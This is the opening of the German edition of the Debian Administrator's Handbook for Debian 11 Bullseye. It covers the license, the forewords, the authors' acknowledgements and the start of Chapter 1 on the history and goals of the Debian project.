Das Debian Administrationshandbuch

Debian Bullseye von der Entdeckung zur Beherrschung

Raphaël Hertzog

<hertzog@debian.org>

Roland Mas

<lolando@debian.org>

Copyright © 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022 Raphaël Hertzog

Copyright © 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015 Roland Mas

Copyright © 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022 Freexian SARL

ISBN: 979-10-91414-21-0 (Taschenbuch, englisch)

ISBN: 979-10-91414-22-7 (ebook, englisch)

Dieses Buch ist unter 2 Arten von Benutzungsrechten, welche vereinbar mit den freien Debian Software Richtlinien sind, verfügbar.

Creative Commons Lizenzhinweis:  Dieses Buch unterliegt der Creative Commons Lizenz "Namensnennung-Weitergabe unter gleichen Bedingungen 3.0 Unported (CC BY-SA 3.0) ".

→ https://creativecommons.org/licenses/by-sa/3.0/deed.de

GNU General Public License Hinweis:  Dieses Buch ist freie Dokumentation: Sie können sie weitergeben und / oder unter den Bedingungen der GNU General Public License verändern, entsprechend der Free Software Foundation entweder unter Version 2 der Lizenz oder (nach Ihrer Option) jeder späteren veröffentlichten Version.

Dieses Buch wird in der Hoffnung, dass es nützlich sein wird aber OHNE IRGENDEINE GARANTIE, sogar ohne die implizite Garantie der MARKTGÄNGIGKEIT oder EIGNUNG FÜR EINEN BESTIMMTEN ZWECK veröffentlicht. Lesen Sie die GNU General Public License für weitere Details.

Sie sollten eine Kopie der GNU General Public License zusammen mit diesem Programm erhalten haben. Falls nicht, siehe https://www.gnu.org/licenses/.

Zeigen Sie Ihre Anerkennung

Dieses Buch wird unter einer freien Lizenz veröffentlicht, weil wir wollen, dass alle davon profitieren. Nichtsdestoweniger verschlingt seine Pflege viel Zeit und Anstrengungen und wir freuen uns über Anerkennung dafür. Wenn Sie dieses Buch hilfreich finden, könnten Sie doch zu seiner kontinuierlichen Pflege beitragen, entweder durch den Kauf einer Taschenbuchausgabe oder mit einer Spende über die offizielle Website des Buches:

→ https://debian-handbook.info

Zusammenfassung

Dieses Nachschlagewerk präsentiert die Debian-Distribution, von der Erstinstallation bis zur Dienste-Konfiguration.

Vorwort

Ich freue mich über die Gelegenheit, Sie bei Debian und dem Handbuch für Debian-Administratoren willkommen zu heißen. Viele Menschen haben sich für Debian entschieden: Etwa 10 % der Webserver im Internet laufen unter Debian. Wenn Sie auf Debian basierende Betriebssysteme einbeziehen, liegt diese Zahl eher bei 20 %. Debian wurde als das bevorzugte Betriebssystem für die Internationale Raumstation ausgewählt. Ob es sich um hochmoderne physikalische Forschung oder ein Projekt handelt, das beim Anbau von Nahrungsmitteln hilft und gleichzeitig die Umweltverschmutzung bekämpft, Debian wurde verwendet, um die Computer anzutreiben, die dies möglich machen.

Warum hat Debian diese Anziehungskraft auf große Unternehmen, Forscher, Aktivisten und Bastler? Ich denke, dass die Antwort in Debians Flexibilität und dessen Gemeinschaft liegt.

Debian ist flexibel. Ja, es bietet ein ausgezeichnetes, sofort verwendbares Allzweck-Betriebssystem. Es bietet auch Werkzeuge, Debian an jede Umgebung anzupassen, in der Sie arbeiten. Ob es sich um eine Cloud- und Containerarchitektur, eine große Sammlung von Workstations, einzelne Computer oder eine Appliance handelt, Debian bietet die Flexibilität, in dieser Umgebung gut zu funktionieren. Sie finden die Tools und Beispiele, die Sie benötigen, um Ihre Bedürfnisse zu erfüllen.

Die Debian-Gemeinschaft ist ein Treffpunkt für verschiedene Personen und Interessen: Entwickler der größten Unternehmen arbeiten mit Freiwilligen, Forschern und Benutzern zusammen. Ob Sicherheitsexperten, Webentwickler, Systemprogrammierer oder Architekten, wir sind alle vertreten. Sie können Teil dieser Community sein. Wenn Sie Methoden finden, wie Debian besser werden kann, begrüßen wir Ihren Beitrag.

Wir kommen zusammen, um ein erstklassiges freies Betriebssystem herzustellen. Kein Unternehmen kontrolliert Debian; keine Geschäftsliste definiert unsere Arbeit. Stattdessen hat jeder von uns die Macht, Debian in der für uns geeigneten Weise zu verbessern. Vielen Dank, dass Sie einen Blick auf das werfen, was wir erreicht haben. Ich hoffe, es gefällt Ihnen.

Dieses Buch ist eine hervorragende Möglichkeit, Debian zu erkunden. Ich empfehle es seit Jahren Freunden, die mehr über Debian erfahren wollten und ich freue mich, die Gelegenheit zu haben, es weiterzuempfehlen. Dieses Handbuch wurde von langjährigen Mitgliedern der Debian-Community verfasst und gepflegt. Einige der Personen, die an der Entwicklung des Betriebssystems arbeiten, haben sich zusammengeschlossen, um Ihnen das Verständnis darüber zu erleichtern. Und natürlich wird das Buch unter Verwendung eines Community-Prozesses, der dem in Debian ähnelt, entwickelt, mit dem gleichen Schwerpunkt auf Freiheit.

August 2019

Sam Hartman (Debian Project Leader)

Vorwort

Linux hat in den letzten Jahren weiterhin an Bedeutung gewonnen und seine zunehmende Beliebtheit bewegt mehr und mehr Nutzer zum Umstieg. Der erste Schritt dahin ist die Auswahl der Distribution. Das ist eine wichtige Entscheidung, denn jede Distribution hat ihre Besonderheiten, und die richtige Entscheidung zu Beginn kann bei einer späteren Migration Kosten vermeiden.

ZURÜCK ZU DEN ANFÄNGEN Linux-Distribution, Linux-Kernel

Streng genommen ist Linux nur ein Kernel, das Kernstück jener Software, die zwischen der Hardware und den Anwendungen vermittelt.

Eine “Linux-Distribution” ist ein vollständiges Betriebssystem. Normalerweise enthält es den Linux-Kernel, ein Installationsprogramm und die meisten wichtigen Anwendungen sowie andere Software, die man benötigt, um aus einem Computer ein tatsächlich nützliches Werkzeug zu machen.

Debian GNU/Linux ist eine “allgemeine” Distribution, die für die meisten Benutzer passt. Der Zweck dieses Buches ist es, die vielen Möglichkeiten aufzuzeigen, sodass Sie sich bei der Wahl gut informiert entscheiden können.

1. Warum dieses Buch?

KULTUR Kommerzielle Distributionen

Die meisten Linux-Distributionen werden von gewinnorientierten Unternehmen herausgegeben, die sie entwickeln und unter einer Art von Geschäftsmodell vertreiben. Beispielsweise Ubuntu, hauptsächlich von Canonical Ltd. entwickelt; Red Hat Enterprise Linux, Red Hat, Inc., einer Tochtergesellschaft von IBM; und SUSE Linux, welche von SUSE Software Solutions Germany GmbH, einer Tochtergesellschaft von EQT Partners, gewartet und kommerziell bereitgestellt wird.

Am anderen Ende des Spektrums findet man Projekte wie Debian und die Apache Software Foundation (welche die Entwicklung des Apache Web Server vorantreibt). Debian ist vor allem ein Projekt aus der Welt der freien Software, umgesetzt von Freiwilligen, die über das Internet zusammenarbeiten. Auch wenn Einige an Debian als Teil ihrer bezahlten Arbeit in verschiedenen Unternehmen entwickeln, ist das Projekt nicht als Ganzes einer einzelnen Firma zuzuordnen, auch hat kein einziges Unternehmen stärkeren Einfluß auf die Projektangelegenheiten als die freiwilligen Helfer.

Über Linux hat es seit Jahren ziemlich viele Medienberichte gegeben und es wächst, getrieben von Virtualisierung, Embedded Systems und der Nutzung von KI enorm; was jedoch meistens jenen Distributionen hilft, die von einer Marketingabteilung unterstützt werden - also von Unternehmen unterstützten Distributionen (Ubuntu, Red Hat, SUSE, usw.). Trotzdem ist Debian und Ubuntu weit davon entfernt, eine Nischendistribution zu sein: Verschiedene Studien haben über die Jahre gezeigt, dass Debian die am häufigsten eingesetzte Distribution sowohl auf Servern als auch auf dem Desktop ist (fast die Hälfte der antwortenden Firmen hat mindestens einen Debian-Server).

→ https://w3techs.com/technologies/details/os-linux/all/all

Der Zweck dieses Buches ist es, Ihnen bei der Entdeckung dieser Distribution zu helfen. Wir hoffen, die Erfahrungen weitergeben zu können, die wir seit 1998 (Raphaël) und 2000 (Roland) als Entwickler und Mitarbeiter im Projekt gesammelt haben. Mit etwas Glück wird unser Enthusiasmus auf Sie überspringen und Sie arbeiten eines Tages bei uns mit …

Die erste Ausgabe dieses Buches (2004) wurde erstellt, um eine große Lücke zu schließen; es war das erste französischsprachige Buch, das sich ausschließlich mit Debian beschäftigte. Zu dieser Zeit wurden viele andere Bücher über das Thema sowohl für französisch- als auch für englischsprachige Leser geschrieben. Unglücklicherweise wurde fast keines davon aktualisiert, und über die Jahre finden wir uns wieder in der gleichen Situation, dass es nur sehr wenige gute Bücher über Debian gibt. Wir hoffen, dass dieses Buch, das ein neues Leben mit seiner Übersetzung ins Deutsche begonnen hat (Anmerk. des Übersetzers: Im Original steht hier englische Ausgabe) diese Lücke schließt und vielen Nutzern helfen wird.

2. Für wen ist dieses Buch?

Wir haben versucht, dieses Buch für viele Kategorien von Lesern nützlich zu gestalten. Zuerst werden Systemadministratoren (sowohl Anfänger als auch Erfahrene) Erklärungen über die Installation und das Ausrollen von Debian auf vielen Computern finden. Sie werden auch einen flüchtigen Eindruck der Dienste erhalten, die bei Debian verfügbar sind, zusammen mit passenden Anweisungen zur Konfiguration und der Beschreibung der Besonderheiten der Distribution. Das Verständnis der Entwicklungsmechanismen von Debian wird es ihnen ermöglichen, bei unvorhergesehenen Problemen Lösungen zu finden, wohl wissend, dass sie immer Hilfe innerhalb der Community finden können.

Benutzer einer anderen Linux-Distribution oder einer anderen Unix-Variante werden die Eigenheiten von Debian entdecken und dabei sehr schnell handlungsfähig werden, während sie gleichzeitig von den einzigartigen Vorteilen dieser Distribution profitieren.

Schließlich werden Leser, die bereits einiges Wissen über Debian haben und mehr über die Gemeinschaft dahinter erfahren möchten, ihre Erwartungen erfüllt sehen. Dieses Buch sollte ihnen die Entscheidung erleichtern, uns als Mitarbeitende zu unterstützen.

3. Allgemeines Vorgehen

Alle allgemeinen Dokumentationen, die Sie über GNU/Linux finden, treffen ebenso auf Debian zu, da Debian die am meisten verbreitete freie Software enthält. Allerdings bringt die Distribution viele Verbesserungen, ein Grund, warum wir uns entschieden haben, vorwiegend den “Debian-Weg” zu beschreiben.

Es mag interessant sein, den Debian-Empfehlungen zu folgen, aber es ist noch besser, ihre Begründung zu verstehen. Deshalb werden wir uns nicht auf praktische Erklärungen beschränken; wir werden ebenso die Projektarbeiten beschreiben, um so ein verständliches und beständiges Wissen zu vermitteln.

4. Gliederung des Buches

In diesem Buch geht es um Fallstudien und dabei werden sowohl Unterstützung als auch Veranschaulichung für alle behandelten Themen geboten.

NOTE Website, E-Mail-Adressen der Autoren

Dieses Buch verfügt über eine eigene Website, die zahlreiche nützliche Informationen beherbergt, die Hilfreich sein können. Vor allem enthält sie eine Online-Version des Buches mit anklickbaren Links sowie mögliche Fehlerhinweise. Besuchen Sie die Website und hinterlassen Sie eine Nachricht. Wir freuen uns darauf, Ihre Kommentare oder Unterstützungstipps zu lesen. Senden Sie uns eine Mail an <hertzog@debian.org> (Raphaël) und <lolando@debian.org> (Roland).

→ https://debian-handbook.info/

Kapitel 1 konzentriert sich auf die allgemeine Vorstellung des Debian-Projektes und beschreibt dessen Ziele und die Organisation. Diese Informationen sind wichtig, weil sie den Rahmen definieren, den andere Kapitel dann mit mehr anschaulicher Information vervollständigen.

Die Kapitel 2 und 3 bieten eine umfassende Beschreibung der Fallstudie. An diesem Punkt können Neulinge sich die Zeit nehmen, Anhang B zu lesen, wo sie einen kurzen Abriss finden, der eine Reihe von grundlegenden Informatikprinzipien erläutert sowie die Konzepte darstellt, die für jedes Unix-System grundlegend sind.

Um mit unserem eigentlichen Thema voranzukommen, werden wir natürlich mit dem Installationsprozess starten (Kapitel 4); Kapitel 5 und 6 werden die grundlegenden Werkzeuge bekannt machen, die jeder Debian-Administrator nutzen wird, beispielsweise jene der APT-Familie, die in hohem Maße für die außerordentlich gute Bewertung der Distribution verantwortlich ist. Diese Kapitel sind natürlich in keiner Weise nur den Fachleuten vorbehalten, da jeder daheim sein eigener Administrator ist.

Kapitel 7 wird ein wichtiger Einschub sein. Es beschreibt die Abläufe, um die Dokumentation effizient zu nutzen und schnell ein Verständnis für zu lösende Probleme zu bekommen.

Die nächsten Kapitel beherbergen einen detaillierten Streifzug durch das System, angefangen bei der Infrastruktur und den Diensten (Kapitel 8 bis 10) und von da an stufenweise nach oben zu den Benutzeranwendungen in Kapitel 13. Kapitel 13 behandelt fortgeschrittene Themen, die in erster Linie Administratoren einer größeren Anzahl Computer (inklusive Servern) betreffen, während Kapitel 14 eine kurze Einführung in das umfangreichere Thema der Computersicherheit darstellt und ein paar Hinweise gibt, um die häufigsten Probleme zu vermeiden.

Kapitel 15ist für Administratoren, die noch weiter gehen und ihre eigenen Debian-Pakete erstellen wollen. Zum Schluß hin zeigen wir in Kapitel16 die Zukunft von Debian.

BEGRIFFDebian-Paket

Ein Debian-Paket ist ein Archiv, das alle Dateien enthält, die man zur Installation einer Software benötigt. Es ist normalerweise eine Datei mit der Endung .deb und es wird mit dem dpkg-Kommando verarbeitet. Auch als Binärpaket bezeichnet, enthält es Dateien, die direkt genutzt werden können (beispielsweise Programme oder Dokumentation). Im Gegensatz dazu enthält ein Quellpaket den Quellcode für die Software und die Anweisungen, die benötigt werden, um daraus ein Binärpaket zu bauen.

Die aktuelle Version ist tatsächlich bereits die zehnte Version des Handbuchs, wenn man die vier ersten Versionen mitzählt, die nur in französischer Sprache veröffentlicht wurden. Diese Handbuchversion behandelt Debian 11 mit dem Codenamen Bullseye. Unter Anderem supportet Debian nun den UEFI Secure Boot, der einige Sicherheitsmerkmale gegen die Boot-Infrastruktur enthält, was auch hilft, Debain auf Systemen zu installieren, die Secure Boot als Standard vorgeben. Als weitere Sicherheitsfunktion wird nun AppAmor, das "Mandatory Access Controll System", welches Regeln für viele Applikationen vorhält, automatisch voreingestellt. Alle enthaltenen Pakete wurden offensichtlich überarbeitet, so auch der GNOME Desktop, der nun in der Version 3.38 vorliegt.

Wir haben ein paar Notizen und Anmerkungen an die Seitenränder hinzugefügt. Sie haben unterschiedliche Aufgaben: Sie können die Aufmerksamkeit auf einen schwierigen Punkt lenken, ein Fallbeispiel vervollständigen, einige Begriffe definieren oder als Merker dienen. Hier ist eine Liste der gebräuchlichsten Randbemerkungen:

GRUNDLAGEN: Eine Erinnerung für Wissen, das als bekannt vorausgesetzt wird;

FACHWISSEN: Definiert einen technischen Ausdruck, manchmal speziell für Debian;

COMMUNITY: Weist auf wichtige Leute oder Rollen innerhalb des Projektes hin;

POLICY: Eine Regel oder Empfehlung, die aus der Debian Policy abgeleitet ist. Dieses Dokument ist die Grundlage für das Projekt und beschreibt, wie Software zu paketieren ist. Die Teile der Policy, auf die wir in diesem Buch eingehen, bringen dem Benutzer direkten Nutzen (beispielsweise zu wissen, dass die Policy die Orte für Dokumentation und Beispiel standardisiert, macht es einfach, diese auch in einem neuen Paket zu finden);

WERKZEUG: Beschreibt ein wichtiges Werkzeug oder einen wichtigen Dienst;

PRAXIS: Theorie und Praxis passen nicht immer zusammen; diese Randbemerkung enthält einen Ratschlag aus unserer Erfahrung. Sie kann auch genaue und anschauliche Beispiele geben;

Andere, mehr oder weniger häufig benutzte Randbemerkungen sprechen für sich: KULTUR, TIPP, VORSICHT, ERWEITERT, SICHERHEIT usw.

5. Mitwirken

Dieses Buch ist wie ein freies Software-Projekt entwickelt, Ihr Beitrag und Hilfe sind willkommen. Die offensichtlichste Methode, einen Beitrag zu leisten, ist, es in Ihre Muttersprache zu übersetzen. Aber das ist nicht die einzige Möglichkeit: Sie können Fehlerberichte öffnen, um uns über Fehler, Tippfehler, veraltete Informationen oder Themen zu informieren, die wir behandeln sollten. Sie können auch eine Merge-Anforderung mit Ihrer Lösung für jedes Problem senden, das Sie gefunden haben.

Alle Anweisungen, um zum Buch beizutragen, sind auf der Website des Buches dokumentiert:

→ https://debian-handbook.info/contribute/

6. Dank

6.1. Ein wenig Geschichte

Im Jahr 2003 hat Nat Makarévitch Raphaël kontaktiert, weil er ein Buch über Debian im Rahmen der Kollektion Cahier de l'Admin (Administratorenhandbuch) publizieren wollte, die er für Eyrolles, einen führenden Herausgeber von technischen Büchern in Frankreich, betreute. Raphaël sagte sofort zu. Die erste Ausgabe kam am 14. Oktober 2004 heraus und war ein großer Erfolg — sie war nach knapp vier Monaten bereits ausverkauft.

Seitdem haben wir sieben weitere Ausgaben des französischen Buches herausgegeben, eine für jedes Debian-Release (außer für Debian 9). Roland, der angefangen hatte mein Buch zu korrigieren, wurde immer mehr sein Co-Autor.

Obwohl wir offensichtlich mit dem Erfolg des Buches zufrieden sein durften, haben wir immer gehofft, dass Eyrolles einen anderen internationalen Herausgeber davon überzeugen würde, es ins Englische zu übersetzen. Wir haben zahlreiche Mitteilungen erhalten, wie das Buch den Leuten geholfen hat, mit Debian anzufangen, und wir waren scharf darauf, dass das Buch mehr Menschen in der gleichen Weise hilft.

Leider wollte keiner der englischsprachigen Verlage, die wir kontaktiert hatten, das Risiko der Übersetzung und Veröffentlichung des Buches auf sich nehmen. Ohne uns von diesem kleinen Rückschlag aufhalten zu lassen, verhandelten wir mit dem französischen Herausgeber Eyrolles und bekamen die notwendigen Rechte zurück, das Buch selbst ins Englische zu übersetzen und herauszugeben. Dank einer erfolgreichen Crowdfunding-Kampagne arbeiteten wir zwischen Dezember 2011 und May 2012 an der Übersetzung. Das „Debian Administrator's Handbook“ war geboren und wurde unter einer freien Lizenz veröffentlicht!

Obwohl dies ein wichtiger Meilenstein war, war uns klar, dass die Geschichte erst zu Ende ist, wenn die offizielle französische Übersetzung des englischen Buches zur Verfügung gestellt werden kann. Dies war zu der Zeit nicht möglich, weil die französische Ausgabe weiterhin von Eyrolles unter einer nicht freien kommerziellen Lizenz vertrieben wurde.

Die Veröffentlichung von Debian 7 im Jahre 2013 eröffnete eine gute Gelegenheit, mit Eyrolles über einen neuen Vertrag zu sprechen. Wir konnten sie überzeugen, dass eine Lizenz, die sich enger an die Prinzipien von Debian anlehnt, mehr Erfolg haben würde. Das war nicht einfach und wir kamen überein, eine weitere Finanzierungsrunde mittels Crowdfunding zu starten, um einen Teil der Kosten zu decken und so die Risiken zu minimieren. Die Aktion war wiederum ein großer Erfolg und im Juli 2013 fügten wir dem Debian Administrator Handbuch die französische Übersetzung hinzu.

Wir möchten allen danken, die sich an einer der Spendenkampagnen beteiligt haben, entweder durch Geldzusagen oder durch das Verbreiten der Nachricht. Ohne sie hätten wir es nicht geschafft.

Um Papier zu sparen, haben wir 5 Jahre nach den Spendenaktionen und nach zwei weiteren Ausgaben die Liste der Personen fallen gelassen, die sich entschieden haben, mit einer Erwähnung ihres Namens im Buch belohnt zu werden. Aber ihre Namen sind in die Anerkennungen der Wheezy-Ausgabe des Buches festgehalten:

→ https://debian-handbook.info/browse/wheezy/sect.acknowledgments.html

6.2. Ein besonderer Dank an die Mitwirkenden

Dieses Buch wäre nicht, was es ist, ohne die Mitwirkung von einigen Personen, die alle eine wichtige Rolle bei der Übersetzung und darüber hinaus gespielt haben. Wir möchten Marilyne Brun danken, die uns bei der Übersetzung des Beispielkapitels geholfen hat und mit uns zusammengearbeitet hat, um einige grundlegende Übersetzungsregeln zu definieren. Sie hat ebenso einige Kapitel überarbeitet, die es wirklich nötig hatten. Danke an Anthony Baldwin (von Baldwin Linguas), der einige Kapitel für uns übersetzt hat.

Da Roland und ich zu beschäftigt waren, um das Buch für Debian 11 zu aktualisieren, nutzten wir das bescheidene Einkommen, das wir durch Spenden und Verkäufe erhalten, um Mitwirkende einzustellen, um den Großteil der Arbeit zu erledigen. Vielen Dank an Jorge Maldonado Ventura und Daniel Leidert für die harte Arbeit, die sie in diese Aktualisierung gesteckt haben.

Wir haben auch von großzügiger Hilfe von Korrektoren profitiert: Daniel Phillips, Gerold Rupprecht, Gordon Dey, Jacob Owens und Tom Syroid. Sie alle haben viele Kapitel kontrolliert. Herzlichen Dank!

Als dann die englische Version freigegeben war, bekamen wir natürlich eine Menge an Rückmeldungen, Vorschläge und Korrekturen von den Lesern und mehr noch von den unzähligen Teams, die sich an die Übersetzung des Buches in andere Sprachen machten. Danke!

Wir möchten uns auch bei den Lesern des französischen Buches bedanken, die uns mit ihren netten Zitaten gezeigt haben, dass dieses Buch es wert ist, übersetzt zu werden; Dank an Christian Perrier, David Bercot, Étienne Liétart und Gilles Roussi. Stefano Zacchiroli - der während der Finanzierungskampagne der Debian-Projektleiter war - verdient ebenso ein großes Danke, er befürwortete freundlicherweise das Projekt mit einem Zitat, das erklärte, dass freie (wie Freiheit) Bücher mehr als nötig sind.

Wenn Sie die Gelegenheit haben, diese Zeilen in einer Taschenbuchausgabe dieses Buches zu lesen, dann sollten Sie sich uns anschließen, Benoît Guillon, Jean-Côme Charpentier und Sébastien Mengin zu danken, die am inneren Design des Buches gearbeitet haben. Benoît ist der Upstream-Autor von dblatex - dem Werkzeug mit dem DocBook nach LaTeX (und dann PDF) konvertiert wird. Sébastien ist der Designer, der dieses schöne Layout erschaffen hat, und Jean-Côme ist der LaTeX-Spezialist, der das Stylesheet für dblatex eingebaut hat. Danke Jungs für all die harte Arbeit!

Schließlich ein Danke an Thierry Stempfel für die netten Bilder, die jedes Kapitel einleiten und Danke auch an Doru Patrascu für den schönen Buchumschlag.

6.3. Unser Dank gilt den Übersetzern

Seit das Buch freigegeben wurde, haben sich viele Freiwillige daran gemacht, es in zahllose Sprachen zu übersetzen, wie Arabisch, brasilianisches Portugiesisch, Italienisch, Spanisch, Japanisch, Norwegisch Bokmål, usw. Sie finden die komplette Liste der Übersetzungen auf der Webseite zum Buch: https://debian-handbook.info/get/#other

Wir möchten all den Übersetzern und Rezensenten danken. Ihre Arbeit ist so wertvoll, weil sie Debian in die Hände von Millionen Menschen bringt, die nicht Englisch sprechen.

6.4. Persönliche Danksagungen von Raphaël

Ich möchte vor allem Nat Makarévitch danken, der mir die Möglichkeit gegeben hat, dieses Buch zu schreiben, und mir eine solide Orientierung während jenes Jahres gab, die das Buch brauchte, um fertig zu werden. Danke auch an Eyrolles und besonders an Muriel Shan Sei Fan. Sie war sehr geduldig mit mir und ich lernte viel von ihr.

Die Zeit der Ulule-Kampagnen war sehr anstrengend für mich, aber ich möchte jedem danken, der mitgeholfen hat, dass sie ein Erfolg werden, besonders dem Ulule-Team, das sehr schnell auf viele Anforderungen reagierte. Danke auch an alle, die diese Aktion beworben haben. Ich habe keine erschöpfende Liste (und wenn ich eine hätte, wäre sie wahrscheinlich zu lang), aber ich möchte ein paar Leuten danken, die direkten Kontakt mit mir hatten: Joey-Elijah Sneddon und Benjamin Humphrey von OMG! Ubuntu, Florent Zara von LinuxFr.org, Manu von Korben.info, Frédéric Couchet von April.org, Jake Edge von Linux Weekly News, Clement Lefebvre von Linux Mint, Ladislav Bodnar von Distrowatch, Steve Kemp von Debian-Administration.org, Christian Pfeiffer Jensen von Debian-News.net, Artem Nosulchik von LinuxScrew.com, Stephan Ramoin von Gandi.net, Matthew Bloch von Bytemark.co.uk, das Team bei Divergence FM, Rikki Kite von Linux New Media, Jono Bacon, die Marketingabteilung bei Eyrolles und die unzähligen anderen, die ich vergessen habe (Entschuldigung deswegen).

Einen besonderen Dank möchte ich an Roland Mas senden, meinen Co-Autor. Wir haben von Anfang an bei diesem Buch zusammengearbeitet und er war immer bereit für diese Herausforderung. Und ich muss sagen, die Fertigstellung des Debian-Administratorenhandbuches war eine Menge Arbeit …

Last but not least: Danke an meine Frau Sophie. Sie war sehr hilfreich während meiner Arbeit an diesem Buch oder an Debian im Allgemeinen. Es waren zu viele Tage (und Nächte,) an denen ich sie allein mit unseren zwei Söhnen gelassen habe, um am Buch weiterzuarbeiten. Ich bin dankbar für ihre Unterstützung und ich weiß, wie viel Glück ich habe, sie zu haben.

6.5. Persönliche Danksagungen von Roland

Nun, Raphaël hat die meisten meiner "externen" Danksagungen ja bereits abgehandelt. Ich möchte aber trotzdem meinen persönlichen Dank für die guten Leute bei Eyrolles hervorheben, mit ihnen war die Zusammenarbeit immer freundlich und reibungslos. Ich hoffe, dass die Ergebnisse ihrer hervorragenden Ratschläge nicht bei der Übersetzung verloren gingen.

Ich bin Raphaël auch sehr dankbar dafür, den verwaltungstechnischen Teil der englischen Ausgabe zu übernommen zu haben. Angefangen bei der Finanzierungskampagne bis hin zum letzten Detail im Layout des Buches, Übersetzen ist so viel mehr als nur Übersetzen und Kontrollieren, und Raphaël übernahm (oder delegierte und überwachte) das alles. Danke.

Danke auch an alle, die mehr oder weniger direkt zu diesem Buch beigetragen haben, durch Klarstellungen oder Erklärungen oder durch Übersetzungsratschläge. Es wären zu viele zu erwähnen, die meisten von ihnen kann man auf den verschiedenen #debian-*-IRC-Kanälen finden.

Natürlich gibt es Überschneidungen mit den bereits erwähnten Leuten, aber ein spezielles Danke ist bestimmt angebracht für die Leute, die zurzeit an Debian arbeiten. Es gäbe nicht viel von einem Buch ohne sie, und ich bin immer noch beeindruckt von dem, was das Debian-Projekt als Gesamtheit produziert und für jeden und alle bereitstellt.

Ein mehr persönliches Dankeschön geht an meine Freunde und Kunden für ihr Verständnis, wenn ich weniger schnell reagieren konnte, weil ich an diesem Buch arbeitete, und für ihre ständige Unterstützung, ihre Aufmunterungen und Herausforderungen. Ihr wisst, wer gemeint ist, Danke.

Abschließend (ich bin sicher, sie sind erstaunt, sich hier zu finden) möchte ich meinen Dank auf Terry Pratchett, Jasper Fforde, Tom Holt, William Gibson, Neal Stephenson und natürlich dem späten Douglas Adams ausdehnen. Die unzähligen Stunden, die ich damit verbracht habe, ihre Bücher zu genießen, sind direkt dafür verantwortlich, dass ich in der Lage war, zuerst bei der Übersetzung dieses Buches mitzuarbeiten und später neue Teile zu verfassen.

Kapitel 1. Das Debian-Projekt

Lassen Sie uns, bevor wir in die Materie eintauchen, ansehen, was das Debian-Projekt ist: seine Ziele, seine Mittel, seine Arbeitsabläufe.

1.1. Was ist Debian?

KULTUR Ursprung des Namens Debian

Debian ist kein Akronym. Der Name ist vielmehr ein Zusammenzug zweier Vornamen: derjenigen von Ian Murdock und seiner damaligen Freundin Debra: Debra + Ian = Debian.

Debian ist eine GNU/Linux-Distribution. Im Kapitel Abschnitt 1.5, „Die Rolle der Distributionen“ werden wir näher darauf eingehen, was eine Distribution ist. Jetzt stellen wir nur fest, dass es ein vollständiges Betriebssystem ist, welches Programme und Systeme für Installation und Verwaltung enthält, die alle auf dem Linux-Kernel und auf freier Software beruhen (vor allem solche aus dem GNU-Projekt).

Als Ian Murdock 1993 Debian unter der Führung der Free Software Foundation (FSF) ins Leben rief, hatte er klare Ziele, die er im Debian Manifest vorstellte. Das freie Betriebssystem, das er anstrebte, sollte zwei Hauptmerkmale haben. Erstens Qualität: Debian sollte äußerst sorgfältig entwickelt werden, um des Linux-Kernels würdig zu sein. Es sollte außerdem eine nicht kommerzielle Distribution sein, und zwar hinreichend zuverlässig, um sich mit größeren kommerziellen Distributionen messen zu können. Diese doppelte Zielsetzung konnte seiner Meinung nach nur dadurch erreicht werden, dass der Entwicklungsprozess für Debian in gleicher Weise wie bei Linux und dem GNU-Projekt geöffnet würde. So würde gegenseitige Begutachtung durch Kollegen das Produkt fortlaufend verbessern.

KULTUR GNU, das Projekt der FSF

Das GNU-Projekt ist eine Sammlung freier Software, entwickelt und unterstützt von der Free Software Foundation ( FSF), die von ihrem charismatischen Leiter Dr. Richard M. Stallman gegründet wurde. GNU ist ein rekursives Akronym, das „GNU is Not UNIX” bedeutet.

KULTUR Richard Stallman

Der Gründer der FSF und Autor der GPL General Public License (GPL) M. Stallman (häufig mit seinen Initialen als RMS bezeichnet), ist ein charismatischer Führer der Bewegung der freien Software. Aufgrund seiner kompromisslosen Einstellungen ist er nicht unumstritten, aber seine nicht technischen Beiträge zur freien Software (besonders aber die rechtlichen und philosophischen) werden von allen respektiert.

1.1.1. Ein Multi-Plattform-Betriebssystem

GEMEINSCHAFT Ian Murdocks Weg

Ian Murdock, Gründer des Debian-Projekts, war von 1993 bis 1996 sein erster Leiter. Nachdem er die Leitung an Bruce Perens übergeben hatte, übernahm er eine weniger öffentliche Rolle. Er arbeitete wieder hinter den Kulissen der Community, die sich für freie Software einsetzt und gründete die Firma Progeny in der Absicht, eine von Debian abgeleitete Distribution zu vermarkten. Dieses Unterfangen war leider ein kommerzieller Misserfolg und die Weiterentwicklung wurde aufgegeben. Nach mehreren Jahren des Dahinvegetierens als Service Provider meldete das Unternehmen im April 2007 schließlich Insolvenz an. Von den zahlreichen durch Progeny initiierten Projekten ist nur noch discover übrig geblieben. Es ist ein Hilfsprogramm zur automatischen Hardwareerkennung.

Ian Murdock starb am 28. Dezember 2015 in San Francisco nach einer Reihe beunruhigender Tweets, in denen er berichtete, von der Polizei angegriffen worden zu sein. Im Juli 2016 wurde bekannt, dass sein Tod als Selbstmord gewertet wurde.

Debian, das seinen ursprünglichen Grundsätzen immer treu geblieben ist, hatte so viel Erfolg, dass es heute einen riesigen Umfang erreicht hat. Derzeit gibt es neun offiziell unterstützte Hardware-Architekturen, sowie andere Kernel wie FreeBSD (obwohl die FreeBSD-basierenden Teile nicht zum offiziell unterstützten Teil der Distribution zählen). Darüber hinaus kann die vorhandene Software mit mehr als 31.000 Quellpaketen fast jeden denkbaren Bedarf abdecken, sowohl zu Hause als auch im Unternehmen.

Diese Großzügigkeit artet manchmal zu einem Überangebot aus: Es ist nicht sinnvoll, 18 DVD-ROMs zu vertreiben (welche nur Pakete beinhalten, die als "Free Software" gelten, um eine vollständige Version auf einem Standard-Rechner zu installieren... Daher sehen wir Debian in zunehmendem Maße als „Meta-Distribution“ an, aus der man spezifische Distributionen entnimmt, die für eine bestimmte Zielgruppe gedacht sind: Debian Science für den wissenschaftlichen Einsatz, Debian Edu für Bildung und pädagogische Nutzung in einem akademischen Umfeld, Debian Med für medizinische Anwendungen, Debian Jr. für Kinder usw. Eine ausführlichere Liste der Unterprojekte finden Sie im Abschnitt Abschnitt 1.3.3.1, „Bestehende Debian-Unterprojekte und Mischungen (Blends)“, der diesem Thema gewidmet ist.

